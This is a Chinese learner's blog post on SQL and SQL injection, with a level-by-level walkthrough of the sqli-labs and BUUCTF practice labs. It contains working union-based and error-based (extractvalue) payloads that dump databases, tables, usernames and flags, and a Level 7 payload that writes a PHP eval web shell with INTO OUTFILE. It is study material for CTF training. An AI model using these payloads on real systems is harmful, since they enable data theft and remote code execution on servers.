SQL之回炉重造

news2024/11/25 23:19:04

重新学sql,整个知识框架出来,之前学的太烂了

SQL是什么:

SQL 是一种操作数据库的语言,包括创建数据库、删除数据库、查询记录、修改记录、添加字段等。SQL 虽然是一种被 ANSI 标准化的语言,但是它有很多不同的实现版本。

SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。SQL 是一种计算机语言,用来存储、检索和修改关系型数据库中存储的数据。

SQL 是关系型数据库的标准语言,所有的关系型数据库管理系统(RDBMS),比如 MySQL、Oracle、SQL Server、MS Access、Sybase、Informix、Postgres 等,都将 SQL 作为其标准处理语言。

SQL查询语句:

SQL语句——查询_sql语句包含查询_HMTT的博客-CSDN博客

SQL查询语句大全(大佬总结,必看)-CSDN博客

SQL查询的基本结构_sql查询语句结构_Alkali!的博客-CSDN博客

SQL查询语句通常包含SELECT、FROM、WHERE等关键词,用于指定要从哪个表中检索数据,以及根据什么条件进行筛选。它还可以包括ORDER BY、GROUP BY、HING等子句,用于对结果进行排序、分组或过滤。此外,SQL查询语句还可以使用聚合函数(如SUM、COUNT、G等)来计算统计信息

具体可以参考这四个文章

SQL注入:

SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

详解-1 union select 1,2,3#:

在SQL注入中,为什么union联合查询,id必须等于0_sql注入联合查询前为什么有-1_hangshao0.0的博客-CSDN博客


浅谈SQL注入中的-1‘ union select 1,2,3#_娄不夜的博客-CSDN博客

这篇写的非常细,而且写出了到底是怎么闭合的

https://download.csdn.net/blog/column/10724277/114808681  关于sql注入中的 --+

sql注入类型:

SQL注入主要就分两种类型:

1.数字型:

判断方法:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

    Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因:

       当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
        当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的

2.字符型

判断方法:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

    Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因:

       当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
       当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。同样可以使用假设法来验证。

其他 :

报错注入,堆叠注入,二次注入,盲注各种的其实都基于这两种注入形式,只不过是过滤的东西多了

重要函数:

 group_concat()函数

GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。

group_concat函数_lg1873868的博客-CSDN博客

information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema信息数据库介绍_豆子林的博客-CSDN博客

SQL注入流程:

1.判断SQL注入点

2.确定注入类型、闭合条件

3.判断列数

4.判断回显位

5.爆库名

6.爆表名

7.爆列名(字段名)

8.爆字段内容

分界线

介绍的差不多了,很多知识点之前不会的都有了更深的认识

———————————————————————————————————————————

SQL-labs

第一关----字符型注入

经过尝试之后确定是字符型注入,闭合条件----单引号闭合

 判断列数 ?id=1' order by 4--+   确定是3列

看回显位 ?id=-1' union select 1,2,3--+ 回显位在2,3

爆当前数据库 ?id=-1' union select 1,2,database()--+

 爆所有数据库  ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

爆表    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

查user表中的username这一列的值      ?id=-1' union select 1,2,group_concat(username) from security.users--+

第二关----数字型注入

?id=1 and 1=1 

?id=1 and 1=2 发现报错  确定是数字型注入

列数为3 ?id=1 order by 4--+

回显位是2,3 ?id=-1 union select 1,2,3--+

 剩下的和第一关一样,只不过是没有单引号闭合了而已

爆当前数据库

      ?id=-1 union select 1,2,database()--+

爆表   

      ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名

      ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

 查user表中的username这一列的值

      ?id=-1 union select 1,2,group_concat(username) from security.users--+

第三关----字符型注入--  ')闭合

输入?id=1',发现报错

找到闭合语句是 1') ,判断了回显位是2,3

把闭合条件改一下就ok了

爆当前数据库

      ?id=-1') union select 1,2,database()--+

爆表   

      ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名

      ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

 查user表中的username这一列的值

      ?id=-1') union select 1,2,group_concat(username) from security.users--+

第四关 ----字符型注入--  ")闭合

找到了闭合条件 是")闭合

爆当前数据库

      ?id=-1") union select 1,2,database()--+

爆表   

      ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名

      ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

 查user表中的username这一列的值

      ?id=-1") union select 1,2,group_concat(username) from security.users--+

第五关----报错注入--附知识点

 报错注入

【精选】sql注入(6)报错注入-CSDN博客

SQL注入系列篇 | 报错注入 - 知乎

报错注入详解_报错注入的过程 - 全栈程序员必看

updatexml和extractvalue函数 

SQL注入,xpath函数updatexml()和extractvalue()报错注入原理_extractvalue注入原理_金 帛的博客-CSDN博客

updatexml()函数分析

官方定义:

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称;

    第二个参数:XPath_string (Xpath格式的字符串);

    第三个参数:new_value,String格式,替换查找到的符合条件的数据;

    返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容

说白了这个函数就是找查一个xml并替换它的名字,xpath就是xml的路径

extractvalue()函数分析

官方定义:

    EXTRACTVALUE (XML_document, XPath_string);
    第一个参数:XML_document是String格式,为XML文档对象的名称;
    第二个参数:XPath_string (Xpath格式的字符串);

    返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容

说白了这个就是找一个xml并返回内容,xpath就是xml的路径

extractvalue()和updatexml()只能把32位长度的数据库信息带出来 可以通过limit分页来查询 limit(起始位置,截取数量)起始位置默认是0 可以不写  

自己的理解:

报错注入主要是因为回显不像正常注入那样,所以就需要来输入语句来报错,通过报错来显示我们需要的东西

主要是利用updatexml和extractvalue函数 这两个函数都有xpath这个路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行    ---这是为什么报错注入要加0x7e,0x5e的原因

还有就是报错注入中,因为报错回显的内容一般只有32位长度的字符串,所以我们需要用到字符串截断函数截断查询的SQL语句

字符串截断函数

常用的字符串截断函数有letf、right、mid、substr等等,以最常用的mid函数为例

mid函数

函数名称:MID
主要功能:从一个文本字符串的指定位置开始,截取指定数目的字符。
使用格式:MID(text,start_num,num_chars)
参数说明:text代表一个文本字符串;start_num表示指定的起始位置;num_chars表示要截取的数目。

进行截断的时候就用mid(sql语句,32,32),mid(sql语句,64,32)

报错注入语句:

爆当前数据库

?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e))--+

?id=1' and extractvalue(null,concat(0x7e,(database()),0x7e))--+

 爆所有数据库

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)))--+

爆表

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+

爆表中列名

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+

爆字段内容

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+

对于数据显示不全的:就可以利用mid函数,分段显示

第一段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+

第二段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+

 做题

-------因为我的sql-labs不行,所以就用buuctf的来做

输入?id=1' 发现闭合条件  ---为单引号闭合

查3列发现回显正常

4列报错,有三列

不用看回显位了直接利用语句开爆

查当前数据库

查所有数据库

爆表 ---ctftraining

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),0x7e)))--+

爆表中列名

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+

爆字段内容,发现不全

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+

利用字符串截断函数-mid函数

第一段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+

第二段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+

第六关

输入 ?id=1" 发现闭合条件

 也是报错注入,只是闭合条件改了

爆当前数据库

?id=1" and extractvalue(null,concat(0x7e,(select database()),0x7e))--+

?id=1" and extractvalue(null,concat(0x7e,(database()),0x7e))--+

 爆所有数据库

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)))--+

爆表

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+

爆表中列名

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+

爆字段内容

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+

对于数据显示不全的:就可以利用mid函数,分段显示

第一段:

?id=1" and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+

第二段:

?id=1" and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+

第七关

发现没有报错语句,看不到闭合信息

随便输入发现不一样的东西

 我直接看了源码,找到了闭合语句

它提示说是用输出文件的方式

判断列数为3

知识点

需要用到的两个函数:load_file() ----读取本地文件  into outfile----写文件
使用phpstudy 存在文件读写权限问题
在phpstduy文件 phpstudy\PHPTutorial\MySQL\my.ini 下加入secure_file_priv=“/”

Mysql文件导出和导入into outfile(),load_file() - 简书

sql注入之into outfile_into outfile 权限_JayJay_Lin的博客-CSDN博客 

 注入的话就是利用into outfile 这个函数

?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php" --+  发现写进去了

接下来就可以连接蚁剑利用了

 第八关

八、九、十关都涉及到了盲注,其实5,6关也可以利用盲注来做

直接就在这里把盲注的知识点总结了

SQL注入-盲注(布尔盲注与时间盲注)-CSDN博客

盲注部分先短暂略过,等差不多成脚本小子了再写脚本注

盲注还是利用sqlmap,bp抓包也是可以的,看大佬的博客就可以了,我没得实力

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1208356.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

医疗行业创新:低代码工具推动业务自动化和智能化

随着科技的不断发展&#xff0c;数字化已经成为各个领域的必然趋势。同样&#xff0c;在医疗领域&#xff0c;数字化转型也已经成为必要性。 早在新冠疫情之前很多国家和地区就已经开始尝试医疗数字化的转型。有很多人认为&#xff0c;医疗数字化在未来不是锦上添花&#xff0…

黑客泄露 3500 万条 LinkedIn 用户记录

被抓取的 LinkedIn 数据库分为两部分泄露&#xff1a;一部分包含 500 万条用户记录&#xff0c;第二部分包含 3500 万条记录。 LinkedIn 数据库保存了超过 3500 万用户的个人信息&#xff0c;被化名 USDoD 的黑客泄露。 该数据库在臭名昭著的网络犯罪和黑客平台 Breach Forum…

langchain实战-hello world

一、LangChain简介 github地址&#xff1a; GitHub - langchain-ai/langchain: ⚡ Building applications with LLMs through composability ⚡ LangChain是一个用于开发由语言模型支持的应用程序的框架。它使应用程序能够&#xff1a; 具有上下文感知能力&#xff1a;将语言模…

【左程云算法全讲7】二叉树基础算法及递归套路

系列综述&#xff1a; &#x1f49e;目的&#xff1a;本系列是个人整理为了秋招面试的&#xff0c;整理期间苛求每个知识点&#xff0c;平衡理解简易度与深入程度。 &#x1f970;来源&#xff1a;材料主要源于左程云算法课程进行的&#xff0c;每个知识点的修正和深入主要参考…

【数据仓库】数仓分层方法详解与层次调用规范

文章目录 一. 数仓分层的意义1. 清晰数据结构。2. 减少重复开发3. 方便数据血缘追踪4. 把复杂问题简单化5. 屏蔽原始数据的异常6. 数据仓库的可维护性 二. 如何进行数仓分层&#xff1f;1. ODS层2. DW层2.1. DW层分类2.2. DWD层2.3. DWS 3. ADS层 4、层次调用规范 一. 数仓分层…

前端学习笔记--面试题系列总结

event loop它的执行顺序&#xff1a; 一开始整个脚本作为一个宏任务执行执行过程中同步代码直接执行&#xff0c;宏任务进入宏任务队列&#xff0c;微任务进入微任务队列当前宏任务执行完出队&#xff0c;检查微任务列表&#xff0c;有则依次执行&#xff0c;直到全部执行完执…

vue3 el-menu初始化时选中没有高亮的问题(default-active和index的问题)

首先看官方文档的示例&#xff1a; 需要注意的是&#xff1a; 1、default-active的值是字符串&#xff0c;那么index绑定的值也要是字符串&#xff0c;且数字对应。不能default-avtive绑定的是1&#xff0c;而menu-item的index绑定的是45 2、default-active的值是当前选中me…

产品运营的场景和运营策略

一、启动屏 1&#xff0e;概念 启动屏&#xff0c;特指 APP 产品启动时即显示的界面&#xff0c;这个界面一般会停留几秒钟时间&#xff0c;在这个时间内 APP 会在后台加载服务框架、启动各种服务 SDK 、获取用户地理位置、判断有无新版本、判断用户账户状态以及其他系统级别的…

2023.11.13 Spring Bean 的生命周期

目录 Spring 执行流程 Bean 的生命周期 五个阶段 深入理解 Bean 初始化 实例理解 总结梳理 经典面试题 Spring 执行流程 Bean 的生命周期 Spring 中 Bean 的生命周就是 Bean 在 Spring 中从创建到销毁的整个过程 五个阶段 1. 实例化 Bean 为 Bean 对象分配内存空间 …

如何在Photoshop 中创建橡皮图章效果

如何在 Photoshop 中制作橡皮图章。只需几个快速步骤即可将任何照片变成橡皮图章图像 1. 如何创建垃圾纸背景 步骤1 让我们开始学习如何制作自定义印章。创建一个新的850 x 550 像素 文档。当然&#xff0c;您可以为 PSD 文件使用其他尺寸&#xff0c; 但必须按比例调整本教程…

合肥中科深谷嵌入式项目实战——基于ARM语音识别的智能家居系统(二)

目录 基于ARM语音识别的智能家居系统 练习一 一、程序编译 练习二&#xff1a; 二、文件IO 三、文件IO常用API接口函数 1、打开文件 open&#xff08;&#xff09; 2、将数据内容写入文件 write&#xff08;&#xff09; 3、关闭&#xff08;保存&#xff09;文件 四、…

spring-cloud 简介

springcloud 定义 1.定义&#xff1a;springcloud为开发人员提供了在分布式系统中快速构建一些通用模式的工具&#xff08;例如配置管理、服务发现、断路器、路由、控制总线等&#xff09;2.微服务:基于单体应用&#xff0c;基于业务进行拆分&#xff0c;每个服务都是独立应用…

应用层——HTTPS协议

文章目录 一.HTTPS协议介绍二.关于加密1.什么是"加密"2.为什么要加密3.常见的加密方式4.数据摘要 && 数据指纹 三.HTTPS的工作过程探究1.方案1 —— 只使用对称加密&#xff08;明文传输不可取&#xff09;2.方案2 —— 只使用非对称加密&#xff08;仅单向安…

图文示例:Python程序的运行原理解读

文章目录 一、编译型语言&#xff08;C语言为例&#xff09;二、动态型语言三、程序是如何运行起来的&#xff1f;四、分析五、dir 函数六、def 指令七、pyc文件1.pyc文件三大作用 八、import 指令总结关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三…

zabbix中图形可视化页面中文乱码解决

在window 电脑中的 C:\Windows\Fonts 里面是字体文件&#xff0c;里面有一个 SIMKAI.TTF &#xff08;有的是小写&#xff09; 这个是楷体 将该文件复制到虚拟机中 怎么导入应该不需要我说吧 查看zabbix的字体文件在哪个目录下 [rootlocalhost /]# find / -name fonts /boo…

【Android】画面卡顿优化列表流畅度五之下拉刷新上拉加载更多组件RefreshLayout修改

之前也写过类似组件的介绍&#xff1a; 地址&#xff1a;下拉刷新&上拉加载更多组件SmartRefreshLayout 本来打算用这个替换的&#xff0c;但在进行仔细研究发现不太合适。功能都很好&#xff0c;但嵌入不了当前的工程体系里。原因就是那啥体制懂的都懂。这样的组件需要改…

力扣 225. 用队列实现栈(C语言实现)

目录 1.解题思路2.代码实现 1.解题思路 这道题如果使用C会好写的多&#xff0c;因为可以使用C提供的队列来实现&#xff0c;但如果使用C语言则必须手写一个队列来实现&#xff0c;在这里我用了我前面文章中实现好的队列来解答&#xff0c;首先因为队列是先进先出&#xff0c;而…

揭秘视频号创作者分成计划,带你玩赚视频号流量主,保姆级教程

项目介绍 今天给大家分享一个视频号流量主的一个项目&#xff0c;也就是视频号创作者广告分成计划。这个项目在目前来说是一个蓝海赛道&#xff0c;做的人是比较少&#xff0c;作为副业来说还是非常适合个人来做的。如果大家有工作室的话&#xff0c;也可以进行批量操作&#…

2021年06月 Scratch(一级)真题解析#中国电子学会#全国青少年软件编程等级考试

一、单选题(共25题,每题2分,共50分) 第1题 小猫位置在舞台中心,点击一次小猫后能前进10步的程序为? A: B: C: D: 答案:B 第2题 快速切换到下一个背景图片应该使用哪个积木? A: B:

MySQL库的操作『增删改查 ‖ 编码问题 ‖ 备份与恢复』

✨个人主页&#xff1a; 北 海 &#x1f389;所属专栏&#xff1a; MySQL 学习 &#x1f383;操作环境&#xff1a; CentOS 7.6 阿里云远程服务器 &#x1f381;软件版本&#xff1a; MySQL 5.7.44 文章目录 1.创建数据库2.数据库中的编码问题2.1.字符集与校验集2.3.支持的字符…